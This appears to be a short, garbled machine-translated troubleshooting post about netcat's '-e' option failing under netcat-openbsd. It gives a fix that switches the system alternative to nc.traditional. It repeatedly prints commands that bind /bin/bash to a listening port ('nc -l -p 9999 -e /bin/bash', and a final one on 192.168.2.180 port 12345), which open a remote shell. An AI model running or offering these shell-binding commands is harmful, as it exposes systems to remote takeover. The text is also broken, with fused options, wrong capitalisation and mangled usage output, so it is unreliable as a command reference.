Nc:invalid option-' E ' ERROR resolution

An error occurred while NC bounced the shell

Nc:invalid option-' e '

This is NC from the NETCAT-OPENBSD package. An alternative NC is available

In the Netcat-traditional package.

Here is the idea of repair

$ which NC

/bin/nc

$ ls-ld/bin/nc

lrwxrwxrwx 1 root root 20 October 2012/bin/nc->/ETC/ALTERNATIVES/NC

$ ls-ld/etc/alternatives/nc

lrwxrwxrwx 1 root 19 February 10:03/etc/alternatives/nc->/bin/nc.traditional

Actually, this is a file we're looking for./bin/nc.traditional:

$/bin/nc.openbsd-l-P 9999-E/bin/bash

/bin/nc.openbsd:invalid option--' e '

USAGE:NC [ -46DDHKLNRSTUUVZC] [-I interval] [-P proxy_username] [P-Source_port]

[-S source_ip_address] [t ToS] [-w timeout] [-X Proxy_protocol]

[-X proxy_address[:p ORT]] [hostname] [Port[s]]

$/bin/nc.traditional-l-P 9999-E/bin/bash

^c

$

Combined with the above output message, we can fix it by following this command:

$ sudo rm/etc/alternatives/nc && sudo ln-s/bin/nc.traditional/etc/alternatives/nc

Repair and try again, no error prompted the shell bounce success!

$ nc-l 192.168.2.180-p 12345-e/bin/bash